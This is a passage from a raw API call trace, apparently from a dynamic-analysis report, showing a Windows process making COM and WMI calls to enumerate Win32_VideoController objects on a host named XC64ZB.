pToken=0x1b0bc010 | out: pToken=0x1b0bc010) returned 0x0 [0157.025] CoGetContextToken (in: pToken=0x1b0bbf10 | out: pToken=0x1b0bbf10) returned 0x0 [0157.025] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbf98, riid=0x1b0bc070*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b0bc040 | out: ppvObject=0x1b0bc040*=0x1b3418b0) returned 0x0 [0157.025] WbemLocator:IUnknown:AddRef (This=0x1b3418b0) returned 0x4 [0157.025] WbemLocator:IUnknown:Release (This=0x1b3418b0) returned 0x3 [0157.025] WbemLocator:IUnknown:Release (This=0x1b3418b0) returned 0x2 [0157.025] SysStringLen (param_1=0x0) returned 0x0 [0157.025] CoGetContextToken (in: pToken=0x1b0bc140 | out: pToken=0x1b0bc140) returned 0x0 [0157.025] WbemLocator:IUnknown:AddRef (This=0x1b2cbf98) returned 0x3 [0157.025] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbf98, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc140 | out: ppvObject=0x1b0bc140*=0x1b2cbf98) returned 0x0 [0157.025] WbemLocator:IUnknown:Release (This=0x1b2cbf98) returned 0x3 [0157.025] WbemLocator:IUnknown:Release (This=0x1b2cbf98) returned 0x2 [0157.026] CoGetContextToken (in: pToken=0x1b0bc270 | out: pToken=0x1b0bc270) returned 0x0 [0157.026] WbemLocator:IUnknown:AddRef (This=0x1b3418b0) returned 0x3 [0157.026] IWbemServices:ExecQuery (in: This=0x1b3418b0, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_VideoController", lFlags=16, pCtx=0x0, ppEnum=0x1b0bc718 | out: ppEnum=0x1b0bc718*=0x1b2e17e0) returned 0x0 [0157.032] IUnknown:QueryInterface (in: This=0x1b2e17e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc3e8 | out: ppvObject=0x1b0bc3e8*=0x1b2e17e8) returned 0x0 [0157.032] IClientSecurity:QueryBlanket (in: This=0x1b2e17e8, pProxy=0x1b2e17e0, pAuthnSvc=0x1b0bc4b0, pAuthzSvc=0x1b0bc430, pServerPrincName=0x1b0bc458, pAuthnLevel=0x1b0bc434, pImpLevel=0x1b0bc440, pAuthInfo=0x1b0bc468, pCapabilites=0x1b0bc444 | out: pAuthnSvc=0x1b0bc4b0*=0xa, pAuthzSvc=0x1b0bc430*=0x0, pServerPrincName=0x1b0bc458, pAuthnLevel=0x1b0bc434*=0x6, pImpLevel=0x1b0bc440*=0x2, pAuthInfo=0x1b0bc468, pCapabilites=0x1b0bc444*=0x1) returned 0x0 [0157.032] IUnknown:Release (This=0x1b2e17e8) returned 0x1 [0157.032] IUnknown:QueryInterface (in: This=0x1b2e17e0, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc380 | out: ppvObject=0x1b0bc380*=0x1b2cbdf8) returned 0x0 [0157.032] IUnknown:QueryInterface (in: This=0x1b2e17e0, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc390 | out: ppvObject=0x1b0bc390*=0x1b2e17e8) returned 0x0 [0157.032] IClientSecurity:SetBlanket (This=0x1b2e17e8, pProxy=0x1b2e17e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.046] IUnknown:Release (This=0x1b2e17e8) returned 0x2 [0157.046] WbemLocator:IUnknown:Release (This=0x1b2cbdf8) returned 0x1 [0157.046] CoTaskMemFree (pv=0x1b33f450) [0157.046] IUnknown:QueryInterface (in: This=0x1b2e17e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbe50 | out: ppvObject=0x1b0bbe50*=0x1b2cbdf8) returned 0x0 [0157.047] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbdf8, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbee0 | out: ppvObject=0x1b0bbee0*=0x0) returned 0x80004002 [0157.047] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbdf8, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbb00 | out: ppvObject=0x1b0bbb00*=0x0) returned 0x80004002 [0157.047] IUnknown:QueryInterface (in: This=0x1b2e17e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb6d8 | out: ppvObject=0x1b0bb6d8*=0x0) returned 0x80004002 [0157.048] WbemLocator:IUnknown:AddRef (This=0x1b2cbdf8) returned 0x3 [0157.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbdf8, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb598 | out: ppvObject=0x1b0bb598*=0x0) returned 0x80004002 [0157.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbdf8, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb520 | out: ppvObject=0x1b0bb520*=0x0) returned 0x80004002 [0157.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbdf8, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb510 | out: ppvObject=0x1b0bb510*=0x1b2cbcd8) returned 0x0 [0157.048] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2cbcd8, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb538 | out: pCid=0x1b0bb538*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.048] WbemLocator:IUnknown:Release (This=0x1b2cbcd8) returned 0x3 [0157.048] CoGetContextToken (in: pToken=0x1b0bb5c0 | out: pToken=0x1b0bb5c0) returned 0x0 [0157.048] CoGetContextToken (in: pToken=0x1b0bba40 | out: pToken=0x1b0bba40) returned 0x0 [0157.048] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbdf8, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbb00 | out: ppvObject=0x1b0bbb00*=0x1b2cbdc0) returned 0x0 [0157.048] WbemLocator:IRpcOptions:Query (in: This=0x1b2cbdc0, pPrx=0x1b2cbdf8, dwProperty=2, pdwValue=0x1b0bbaf0 | out: pdwValue=0x1b0bbaf0) returned 0x80004002 [0157.048] WbemLocator:IUnknown:Release (This=0x1b2cbdc0) returned 0x3 [0157.049] WbemLocator:IUnknown:Release (This=0x1b2cbdf8) returned 0x2 [0157.049] CoGetContextToken (in: pToken=0x1b0bc100 | out: pToken=0x1b0bc100) returned 0x0 [0157.049] CoGetContextToken (in: pToken=0x1b0bc000 | out: pToken=0x1b0bc000) returned 0x0 [0157.049] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbdf8, riid=0x1b0bc160*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0bc130 | out: ppvObject=0x1b0bc130*=0x1b2e17e0) returned 0x0 [0157.049] IUnknown:AddRef (This=0x1b2e17e0) returned 0x4 [0157.049] IUnknown:Release (This=0x1b2e17e0) returned 0x3 [0157.049] IUnknown:Release (This=0x1b2e17e0) returned 0x2 [0157.049] WbemLocator:IUnknown:Release (This=0x1b3418b0) returned 0x2 [0157.049] SysStringLen (param_1=0x0) returned 0x0 [0157.049] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2bc0, puCount=0x1b0bc758 | out: puCount=0x1b0bc758*=0x2) returned 0x0 [0157.049] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc750*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc750*=0xf, pszText=0x0) returned 0x0 [0157.049] WbemDefPath:IWbemPath:GetText (in: This=0x4f2bc0, lFlags=4, puBuffLength=0x1b0bc750*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc750*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0157.049] CoGetContextToken (in: pToken=0x1b0bc2d0 | out: pToken=0x1b0bc2d0) returned 0x0 [0157.049] IUnknown:AddRef (This=0x1b2e17e0) returned 0x3 [0157.049] IEnumWbemClassObject:Clone (in: This=0x1b2e17e0, ppEnum=0x1b0bc6d0 | out: ppEnum=0x1b0bc6d0*=0x1b2e0d00) returned 0x0 [0157.050] IUnknown:QueryInterface (in: This=0x1b2e0d00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc458 | out: ppvObject=0x1b0bc458*=0x1b2e0d08) returned 0x0 [0157.050] IClientSecurity:QueryBlanket (in: This=0x1b2e0d08, pProxy=0x1b2e0d00, pAuthnSvc=0x1b0bc520, pAuthzSvc=0x1b0bc4a0, pServerPrincName=0x1b0bc4c8, pAuthnLevel=0x1b0bc4a4, pImpLevel=0x1b0bc4b0, pAuthInfo=0x1b0bc4d8, pCapabilites=0x1b0bc4b4 | out: pAuthnSvc=0x1b0bc520*=0xa, pAuthzSvc=0x1b0bc4a0*=0x0, pServerPrincName=0x1b0bc4c8, pAuthnLevel=0x1b0bc4a4*=0x6, pImpLevel=0x1b0bc4b0*=0x2, pAuthInfo=0x1b0bc4d8, pCapabilites=0x1b0bc4b4*=0x1) returned 0x0 [0157.050] IUnknown:Release (This=0x1b2e0d08) returned 0x1 [0157.050] IUnknown:QueryInterface (in: This=0x1b2e0d00, riid=0x7ffa71666518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc3f0 | out: ppvObject=0x1b0bc3f0*=0x1b351388) returned 0x0 [0157.050] IUnknown:QueryInterface (in: This=0x1b2e0d00, riid=0x7ffa71666528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bc400 | out: ppvObject=0x1b0bc400*=0x1b2e0d08) returned 0x0 [0157.050] IClientSecurity:SetBlanket (This=0x1b2e0d08, pProxy=0x1b2e0d00, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0157.052] IUnknown:Release (This=0x1b2e0d08) returned 0x2 [0157.052] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x1 [0157.052] CoTaskMemFree (pv=0x1b33f450) [0157.052] IUnknown:QueryInterface (in: This=0x1b2e0d00, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbeb0 | out: ppvObject=0x1b0bbeb0*=0x1b351388) returned 0x0 [0157.052] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbf40 | out: ppvObject=0x1b0bbf40*=0x0) returned 0x80004002 [0157.053] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbb60 | out: ppvObject=0x1b0bbb60*=0x0) returned 0x80004002 [0157.053] IUnknown:QueryInterface (in: This=0x1b2e0d00, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb738 | out: ppvObject=0x1b0bb738*=0x0) returned 0x80004002 [0157.054] WbemLocator:IUnknown:AddRef (This=0x1b351388) returned 0x3 [0157.054] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb5f8 | out: ppvObject=0x1b0bb5f8*=0x0) returned 0x80004002 [0157.054] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb580 | out: ppvObject=0x1b0bb580*=0x0) returned 0x80004002 [0157.054] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb570 | out: ppvObject=0x1b0bb570*=0x1b351268) returned 0x0 [0157.054] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b351268, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb598 | out: pCid=0x1b0bb598*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0157.054] WbemLocator:IUnknown:Release (This=0x1b351268) returned 0x3 [0157.054] CoGetContextToken (in: pToken=0x1b0bb620 | out: pToken=0x1b0bb620) returned 0x0 [0157.054] CoGetContextToken (in: pToken=0x1b0bbaa0 | out: pToken=0x1b0bbaa0) returned 0x0 [0157.054] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbb60 | out: ppvObject=0x1b0bbb60*=0x1b351350) returned 0x0 [0157.054] WbemLocator:IRpcOptions:Query (in: This=0x1b351350, pPrx=0x1b351388, dwProperty=2, pdwValue=0x1b0bbb50 | out: pdwValue=0x1b0bbb50) returned 0x80004002 [0157.054] WbemLocator:IUnknown:Release (This=0x1b351350) returned 0x3 [0157.054] WbemLocator:IUnknown:Release (This=0x1b351388) returned 0x2 [0157.054] CoGetContextToken (in: pToken=0x1b0bc160 | out: pToken=0x1b0bc160) returned 0x0 [0157.054] CoGetContextToken (in: pToken=0x1b0bc060 | out: pToken=0x1b0bc060) returned 0x0 [0157.054] WbemLocator:IUnknown:QueryInterface (in: This=0x1b351388, riid=0x1b0bc1c0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0bc190 | out: ppvObject=0x1b0bc190*=0x1b2e0d00) returned 0x0 [0157.054] IUnknown:AddRef (This=0x1b2e0d00) returned 0x4 [0157.055] IUnknown:Release (This=0x1b2e0d00) returned 0x3 [0157.055] IUnknown:Release (This=0x1b2e0d00) returned 0x2 [0157.055] IUnknown:Release (This=0x1b2e17e0) returned 0x2 [0157.055] SysStringLen (param_1=0x0) returned 0x0 [0157.055] IEnumWbemClassObject:Reset (This=0x1b2e0d00) returned 0x0 [0157.055] CoTaskMemAlloc (cb=0x8) returned 0x1b32af90 [0157.055] IEnumWbemClassObject:Next (in: This=0x1b2e0d00, lTimeout=-1, uCount=0x1, apObjects=0x1b32af90, puReturned=0x2b4db10 | out: apObjects=0x1b32af90*=0x1b349870, puReturned=0x2b4db10*=0x1) returned 0x0 [0157.063] IUnknown:QueryInterface (in: This=0x1b349870, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bba50 | out: ppvObject=0x1b0bba50*=0x1b349870) returned 0x0 [0157.063] IUnknown:QueryInterface (in: This=0x1b349870, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbae0 | out: ppvObject=0x1b0bbae0*=0x0) returned 0x80004002 [0157.063] IUnknown:QueryInterface (in: This=0x1b349870, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bb700 | out: ppvObject=0x1b0bb700*=0x0) returned 0x80004002 [0157.063] IUnknown:QueryInterface (in: This=0x1b349870, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb2d8 | out: ppvObject=0x1b0bb2d8*=0x0) returned 0x80004002 [0157.063] IUnknown:AddRef (This=0x1b349870) returned 0x3 [0157.063] IUnknown:QueryInterface (in: This=0x1b349870, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb198 | out: ppvObject=0x1b0bb198*=0x0) returned 0x80004002 [0157.063] IUnknown:QueryInterface (in: This=0x1b349870, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb120 | out: ppvObject=0x1b0bb120*=0x0) returned 0x80004002 [0157.063] IUnknown:QueryInterface (in: This=0x1b349870, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb110 | out: ppvObject=0x1b0bb110*=0x1b349878) returned 0x0 [0157.063] IMarshal:GetUnmarshalClass (in: This=0x1b349878, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb138 | out: pCid=0x1b0bb138*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0157.063] IUnknown:Release (This=0x1b349878) returned 0x3 [0157.063] CoGetContextToken (in: pToken=0x1b0bb1c0 | out: pToken=0x1b0bb1c0) returned 0x0 [0157.063] CoGetContextToken (in: pToken=0x1b0bb640 | out: pToken=0x1b0bb640) returned 0x0 [0157.063] IUnknown:QueryInterface (in: This=0x1b349870, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb700 | out: ppvObject=0x1b0bb700*=0x0) returned 0x80004002 [0157.064] IUnknown:Release (This=0x1b349870) returned 0x2 [0157.064] CoGetContextToken (in: pToken=0x1b0bbd00 | out: pToken=0x1b0bbd00) returned 0x0 [0157.064] CoGetContextToken (in: pToken=0x1b0bbc00 | out: pToken=0x1b0bbc00) returned 0x0 [0157.064] IUnknown:QueryInterface (in: This=0x1b349870, riid=0x1b0bbd60*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b0bbd30 | out: ppvObject=0x1b0bbd30*=0x1b349870) returned 0x0 [0157.064] IUnknown:AddRef (This=0x1b349870) returned 0x4 [0157.064] IUnknown:Release (This=0x1b349870) returned 0x3 [0157.064] IUnknown:Release (This=0x1b349870) returned 0x2 [0157.064] CoTaskMemFree (pv=0x1b32af90) [0157.064] CoGetContextToken (in: pToken=0x1b0bc0d0 | out: pToken=0x1b0bc0d0) returned 0x0 [0157.064] IUnknown:AddRef (This=0x1b349870) returned 0x3 [0157.064] IWbemClassObject:Get (in: This=0x1b349870, wszName="__GENUS", lFlags=0, pVal=0x1b0bc690*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b0bc7b8*=0, plFlavor=0x1b0bc7b0*=0 | out: pVal=0x1b0bc690*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1b0bc7b8*=3, plFlavor=0x1b0bc7b0*=64) returned 0x0 [0157.064] IWbemClassObject:Get (in: This=0x1b349870, wszName="__PATH", lFlags=0, pVal=0x1b0bc640*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b0bc770*=0, plFlavor=0x1b0bc768*=0 | out: pVal=0x1b0bc640*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_VideoController.DeviceID=\"VideoController1\"", varVal2=0x0), pType=0x1b0bc770*=8, plFlavor=0x1b0bc768*=64) returned 0x0 [0157.064] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_VideoController.DeviceID=\"VideoController1\"") returned 0x8a [0157.064] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_VideoController.DeviceID=\"VideoController1\"") returned 0x8a [0157.064] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc6b8 | out: ppv=0x1b0bc6b8*=0x4b0108) returned 0x0 [0157.065] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc6a8 | out: pAptType=0x1b0bc6a8*=1) returned 0x0 [0157.065] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bc6b0 | out: ppvObject=0x1b0bc6b0*=0x0) returned 0x80004002 [0157.065] IUnknown:Release (This=0x4b0108) returned 0x1 [0157.065] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bbaa8 | out: ppv=0x1b0bbaa8*=0x1b33d3c0) returned 0x0 [0157.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b33d3c0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bbb90 | out: ppvObject=0x1b0bbb90*=0x0) returned 0x80004002 [0157.066] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b33d3c0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbb68 | out: ppvObject=0x1b0bbb68*=0x4f2f80) returned 0x0 [0157.066] WbemDefPath:IUnknown:Release (This=0x1b33d3c0) returned 0x0 [0157.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2f80, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb910 | out: ppvObject=0x1b0bb910*=0x4f2f80) returned 0x0 [0157.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2f80, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bb9a0 | out: ppvObject=0x1b0bb9a0*=0x0) returned 0x80004002 [0157.066] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f2f80, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, 